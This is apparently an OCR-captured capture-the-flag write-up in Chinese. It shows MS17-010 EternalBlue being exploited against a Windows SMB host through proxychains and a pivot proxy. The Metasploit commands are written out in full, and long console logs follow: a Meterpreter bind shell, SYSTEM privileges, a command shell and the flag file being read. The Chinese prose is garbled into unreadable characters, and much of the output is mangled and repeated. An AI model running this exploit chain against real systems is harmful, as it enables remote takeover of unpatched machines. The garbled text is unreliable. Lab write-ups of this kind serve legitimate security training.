fE8512: KIEZIERARIA (T- 1059 HOITRE. T- 1068 FIEERTIRER. T- 1203 FIME
P RRIREUATIUR)

AL NAABEZ IR A A« R Z BTN M ENLrdpH P 2 SRR e, 5340 & I EHLH - 2 e
BABRWST; RKIVETFT 4455 1, AT DL K2 SRR, S50 R 55 S AR .

FKAE 22 & —FpF Fwi ndows F 45 (19 SMBYM SRR R IR R G by s AR, DA SRAZE I AR BRI VTS0
SMB (4FfA:Server Message Block) s&— MRS ARG S, T —FE ML/ RS B 18R /N b
W I SMB MM AT DATETHEMLIRI L SR FTEIML. i 44 B T8 45 HE R

AR AT LU BL R A 58

ZEIFAEREp2hiRE, XEEEFNT 44550, =0 ERKEZERRE, BtmsinExia

ZiEexp,

A )(EFEkali_operation_kitAYZ&Zimi@id proxychainsfSaimsf, FIIEKIEZ Hexp.

proxychains4 msfconsole

msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.2.177
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/bind_tcp

msf5 exploit(windows/smb/ms17_010_eternalblue) > run


af://n239

DLL init: proxychains-ng
DLL init: proxychains-ng
DLL init: proxychains-ng
DLL init: proxychains-ng
proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
msf5 > use exploit/windows/smb/ms17_01@_eternalblue
[proxychains] DLL init: proxychains-ng &
proxychalns] DLL init: proxychains-ng &
DLL init: proxychains-ng &
DLL init: proxychains-ng &.
&
&
&

&4
&
&4,
4,
&
&

DLL init: proxychains-ng
DLL init: proxychains-ng
DLL init: proxychains-ng
) > set rhosts 192.168.2.177
DLL init: proxychains-ng &.
DLL init: proxychains-ng &.
.168.2.177
DLL init: proxychains-ng &
DLL init: proxychains-ng &.14
DLL init: proxychains-ng &.14
DLL init: proxychains-ng 4.14
DLL init: proxychains-ng &.14
) > set payload windows/x64/meterpreter/bind_tcp
DLL init: proxychains-ng &.14
DLL init: proxychains-ng &.14
payload = windows/x64/meterpreter/bind_tcp
DLL init: proxychains-ng &
DLL init: proxychains-ng &
DLL init: proxychains-ng &.
DLL init: proxychains-ng &
DLL init: proxychains-ng &
msf5 ) > run
proxychalns] DLL init: proxychains-ng &.
[proxychains] DLL init: proxychains-ng 4.
[proxychains] Strlct chaln ... b66.66.66.166:9998 ...
proxychadip :

[proxychains] Strict chain ... 66.66.66.166:9998 192.168.
[proxychains] Strict chain - 66.66.66.166:9998 192.168.
[proxychains] Strict chain ... 66.66.66.166:9998 192.168.
[proxychains] Strict chain - 66.66.66.166:9998 192.168.
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.
[proxychains] Strict chain - 66.66.66.166:9998 ... 192.168.
[proxychains] Strict chain ... 66.66.66.166:9998 192.168.
[proxychains] Strict chain ... 66.66.66.166:9998 192.168.2.177:
[proxychains] Strict chain - 66.66.66.166:9998 192.168.2.177:445 ...
[+] 192.168.2.177:445 - C1051ng SMBv1l connection creat1ng free hole adjacent to SMBv2 buffer.
192.168.2.177:445 - Sending final SMBv2 buffers.
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:445 ... 0K
[proxychains] Strict chain ... 66.66.66.166:9998 192.168.2.177:445 0K
[proxychains] Strict chain ... 66.66.66.166:9998 192.168.2.177:445 0K
2
2

177:
177:
177:
177:
177:
177:
177:
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LAT77:445 . 0K

[proxychains] Strict chain ... 66.66.66.166:9998 192.168.2.177:445 0K
[proxychains] Strict chain - 66.66.66.166:9998 192.168.2.177: 445 - 0K
192.168.2.177:445 - Sendlng last fragment of explﬂlt packet!
192.168.2.177:445 - Receiving response from exploit packet
[+] 192.168.2.177:445 - ETERNALBLUE overwrite completed successfully (@xCo00000D)!
192.168.2.177:445 - Sending egg to corrupted connection.
192.168.2.177:445 - Triggering free of corrupted buffer.
Started bind TCP handler against 192.168.2.177:4444
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:4444 ... OK
Sending stage (206403 bytes) to 192.168.2.177
[proxychains] DLL init: proxychains-ng &4.14
Meterpreter session 1 opened (66.66.66.66:49456 — 66.66.66.166:9998) at 2022-01-21 22:15:27 -0500
[+] 192.168.2.177:445 -
[+] 192.168.2.177:445 -
[+] 192.168.2.177:

[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL ini*: prov.-* Cax
meterpreter > |

EESRIBIRARFR :

getuid



[+] 192.168.2.177:445 - C1051ng SMBv1 connectlon creatlng free hnle adjacent to SHBVZ buffer.
192.168.2.177:445 - Sendlng final SMBv2 buffers.
Strict chain .. 66.66.66.166:9998 ... 192.168.2.177:445 ... OK
Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:445 0K
Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:445 0K
Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:445 0K
proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:445 ... 0K
[proxychains] Strict chain 66.66.66.166:9998 ... 192.168.2.177:445 .. [1] 4
192.168.2.177:445 - Sendlng last fragment of exploit packet!
192.168.2.177:445 - Receiving response from exploit packet
.177:445 - ETERNALBLUE overwrite completed successfully (@xCeeeeoeD)
.177:445 - Sending egg to corrupted connection.
192.168.2.177:445 - Triggering free of corrupted buffer.
Started bind TCP handler against 192.168.2.177:4444
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:4444 ... OK
Sending stage (206403 bytes) to 192.168.2.177
[proxychains] DLL init: proxychains-ng &.14
Meterpreter session 1 opened (66.66.66.66:49456 — 66.66.66.166:9998) at 2022-01-21 22:15:27 -0500
177
.177:
.177:

[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
eterpreter > getuid

[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng /
Server username: NT AUTHORITY\SYSTEM
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng

HN BI85 B &
shell

177 :445 - Sendlng last Fragment of explult packetl

192.168.2
2.177:445 - Receiving response from exploit packet
2
2

192.168.
192.168.2.177:445 - ETERNALBLUE overwrite completed successfully (0xCo@@eooD)!
192.168.2.177:445 - Sending egg to corrupted connection.
192.168.2.177:445 - Triggering free of corrupted buffer.
Started bind TCP handler against 192.168.2.177:4444
[proxychains] Strict chain ... 66.66.66.166:9998 ... 192.168.2.177:4444 ... OK
Sending stage (2064083 bytes) to 192.168.2.177
[proxychains] DLL init: proxychains-ng 4.14
Meterpreter session 1 opened (66.66.66.66:49456 — 66.66.66.166:9998) at 2022-01-21 22:15:27 -0500
1771445
-177t
A77:

DLL init: proxychains-ng
DLL init: proxychains-ng
DLL init: proxychains-ng
DLL init: proxychains-ng
DLL init: proxychains-ng
getuid
DLL init: proxychains-ng
DLL init: proxychains-ng
Server username: NT AUTHORITY\SYSTEM
[proxychains] DLL init: proxychains-ng
proxychains] DLL init: proxychains-ng
[proxychalns] DLL init: proxychains-ng
DLL init: proxychains-=
DLL init: orovo liins-ng
shell
DLL init: proxychains-ng
DLL init: proxychains-ng

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

C:\Windows\system32>]]

ETRBIBERERURNMHER flag. txt X, HACERBR:

cd c:\

C:\Windows\system32>cd c:\
cd c:\

c:\fl

HITEX:

dir /s /b flag.txt



C:\Windows\system32>cd c:’
cd c:\

c:\>dir /s /b flag.txt

dir /s /b flag.txt
c:\temp\flag.txt

c:\fl

BEfag Xt ANE:

type c:\temp\flag.txt

C:\Windows\system32>cd c:%
cd c:\

c:\>dir /s /b flag.txt
dir /s /b flag.txt

c:\temp\flag.txt

c:\>type c:\temp\flag.txt

type c:\temp\flag.txt
flag{9a48ddad2656385fce58af47a0ef56cf}
c:\fl

5%lflag: flag{9a48ddad2656385fce58af47a0ef56cf}
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